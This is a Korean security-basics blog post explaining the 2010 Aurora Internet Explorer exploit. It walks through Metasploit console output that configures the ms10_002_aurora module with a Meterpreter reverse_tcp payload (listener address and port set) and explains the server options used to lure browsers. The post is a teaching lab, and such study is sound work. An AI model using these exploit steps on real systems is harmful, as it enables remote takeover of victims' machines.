브라우저 공격
웹 브라우저는 웹 페이지를 표현하는 프로그램이다. 서버 소프트웨어에 악성 입력 값을 보낸 다음, 악성 코드를 담고 있는 웹 페이지를 열어 보안 이슈가 유발되면 잠재적으로 브라우저의 실행을 가로체 페이로드를 실행하게 된다. 전달하는 방법은 다르지만 기본 개념은 동일하다. 많이 쓰는 브라우저는 보안 이슈를 가지게 마련이다.
인터넷 익스플로러의 유명한 취약점 한 가지를 생각해보자. 오로라(Aurora) 공격법은 2010년 구글, 어드비, 야휴와 같이 큰 회사를 상대로 사용되었다. 오로라 공격이 일어날 즈음 인터넷 익스플로러는 제로데이 취약점을 가지고 있었다.
마이크로소프트는 인터넷 익스플로러 패치를 배포하지만 사용자들은 다른 보안 패치와 마찬가지로 브라우저를 업데이트하는데 소흘하고, 또 윈도우 XP에 설치된 인터넷 익스플로러는 오로라 공격을 막을 만한 보안 패치가 아예 없었다.
msf6 > info exploit/windows/browser/ms10_002_aurora
Name: MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
Module: exploit/windows/browser/ms10_002_aurora
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2010-01-14
Provided by:
unknown
hdm <x@hdm.io>
Available targets:
Id Name
-- ----
=> 0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must b
e an address on the local machine or 0.0.0.0 to listen on all
addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generat
ed)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 1000
Avoid: 1 characters
Description:
This module exploits a memory corruption flaw in Internet Explorer. This
flaw was found in the wild and was a key component of the "Operation Aurora"
attacks that lead to the compromise of a number of high profile companies. The
exploit code is a direct port of the public sample published to the Wepawet
malware analysis site. The technique used by this module is currently identical
to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-002
https://nvd.nist.gov/vuln/detail/CVE-2010-0249
OSVDB (61697)
https://web.archive.org/web/20100609073233/http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
View the full module info with the info -d command.
msf6 >
자, 이제 Aurora 공격을 실습하여 보자.
msf6 > use windows/browser/ms10_002_aurora
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms10_002_aurora) > show options
Module options (exploit/windows/browser/ms10_002_aurora):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must
be an address on the local machine or 0.0.0.0 to listen on a
ll addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly genera
ted)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.88.131 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/browser/ms10_002_aurora) >
모듈 옵션에서 RHOST를 사용하는 대신 SRVHOST를 쓴 것을 눈여겨보자. 서버의 로컬 IP 주소를 뜻한다. 이 주소는 기본값이 0.0.0.0 으로 로컬 시스템의 모든 주소에 대기하도록 되어 있다. 기본적으로 대기하는 SRVPORT 옵션값은 8080 이다. 이 포트를 다른 프로그램이 쓰지 않는 다면 (웹 서버 기본 포트인) 80으로 바꿔도 무방하다. 심지어 SSL로 써도 된다.
URIPATH 옵션을 설정하면 악성 페이지에 특정한 URL을 정할 수 있다. 하지만 아무것도 설정하지 않으면 임의의 URL이 사용된다. 공격은 브라우저 안에서만 발생하기 때문에 그 인터넷 익스플로러가 오로라 공격에 취약하다면 어떤 버전의 윈도우가 실행되는지 상관없이 공격이 가능하다.
'Security > 보안기초' 카테고리의 다른 글
| Memory Theory(02) (0) | 2023.11.14 |
|---|---|
| Memory Theory(01) (0) | 2023.11.14 |
| 취약점 찾기 (0) | 2023.11.12 |
| APT 실습 첫번째 (0) | 2023.11.12 |
| How Email Works (0) | 2023.11.12 |